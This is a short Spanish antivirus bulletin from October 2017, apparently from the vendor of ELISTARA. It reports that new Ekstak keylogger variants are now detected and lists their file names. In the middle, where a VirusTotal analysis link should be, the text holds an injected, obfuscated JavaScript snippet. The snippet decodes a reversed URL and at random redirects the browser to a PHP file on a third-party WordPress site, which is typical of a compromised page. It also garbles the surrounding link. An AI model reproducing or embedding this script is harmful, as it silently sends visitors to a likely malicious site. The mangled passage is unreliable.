NUEVAS MUESTRAS DE KEYLOGGER EKSTAK

Nuevas variantes de este keylogger pasan a ser controladas a partir del ELISTARA 37.68

Las caracteristicas diferenciales son las siguientes:

Queda residente. (proceso activo, uno aleatorio del sistema)
Con conexión se actualiza.

Como nombres de ficheros usados caben indicar:

Cookies***.bat
systrayxt8lg.pif
win1b9l_.scr

INFORMES DEL PREANALISIS DE VIRUSTOTAL:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/16f5882de482b7a5111431ea91f84471087a0f5ad1c74a7aad68383e48a40057/analysis/1508228281/” target=”_blank” rel=”noopener”>Analisis del fichero bef69109.gxe

Dicha versión del ELISTARA 37.68 que los detecta y elimina,e stará disponible en nuestra web a partir del 19/10 prox

saludos

ms, 17-10-2017